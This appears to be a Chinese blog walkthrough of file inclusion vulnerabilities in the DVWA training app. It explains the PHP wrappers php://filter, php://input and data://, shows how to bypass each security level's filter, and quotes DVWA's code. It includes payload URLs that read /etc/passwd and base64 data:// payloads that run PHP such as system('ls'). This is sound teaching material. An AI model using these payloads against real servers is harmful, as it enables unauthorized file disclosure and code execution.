首页 > 其他 > 详细

文件包含漏洞

时间:2020-09-29 19:53:31      阅读:35      评论:0      收藏:0      [点我收藏+]

文件包含漏洞

知识点

技术分享图片

file协议

作用:

用来访问文件(绝对路径,相对路径,网络路径)

示例:

http://www.xx.com?file=file:///etc/passwd

php://filter

作用:

可以用来读取文件源代码并进行base64编码输出

示例:

http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=文件名

此时cmd.php文件应是include($cmd)这时用php://filter才可显示出源码

php://input

作用:

执行post数据中的php代码

示例:

http://127.0.0.1/cmd.php?cmd=php://input

POST数据:

enctype="multipart/form-data" 的时候 php://input 是无效的

当代码$file=$_GET[‘file‘],其实也可以用此协议

data://

作用:

通常可以用来执行php代码

示例:

http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B

http://127.0.0.1/include.php?file=data://text/plain,

low

php://input

用harkbar,不知道为啥有时候没用,所以这里选择用bp,

?page=php://input

[POST DATA] :

data://

?page=data://text/plain,

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOz8%2b

这里注意base64之后PD9waHAgc3lzdGVtKCdscycpOz8+

但是要将+进行url编码,所以是PD9waHAgc3lzdGVtKCdscycpOz8%2b,不然执行不出

file

绝对路径: ?page=file:///etc/passwd

相对路径: ?page=./test.txt

网络路径: ?page=http://127.0.0.1/dvwa/vulnerabilities/fi/test.txt

代码:

<?php

// The page we wish to display

$file = $_GET[ ‘page‘ ];

?>

可以看到对page没有任何过滤,我们可以包含任何文件

medium

<?php

// The page we wish to display

$file = $_GET[ ‘page‘ ];

// Input validation

$file = str_replace( array( "http://", "https://" ), "", $file );

$file = str_replace( array( "../", "..\"" ), "", $file );

?>

可以看到过滤了http://和https://和../和..",但是并没有什么nuan用,我们仍然可以用php://input,data://进行任意文件读取

high

<?php

// The page we wish to display

$file = $_GET[ ‘page‘ ];

// Input validation

if( !fnmatch( "file*", $file ) && $file != "include.php" ) {

	// This isn‘t the page we want!

	echo "ERROR: File not found!";

	exit;

}

?>

对$file进行了限制,规定$file必须是include.php或者file开头,但是我们可以用file://协议进行任意文件读取

?page=file:///flag.txt,这时我们必须知道的是目标文件的绝对路径

impossible

<?php

// The page we wish to display

$file = $_GET[ ‘page‘ ];

// Only allow include.php or file{1..3}.php

if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {

	// This isn‘t the page we want!

	echo "ERROR: File not found!";

	exit;
}

?>

可知进行了一个白名单限制,我们无法绕过

文件包含漏洞

原文:https://www.cnblogs.com/NineOne/p/13751354.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!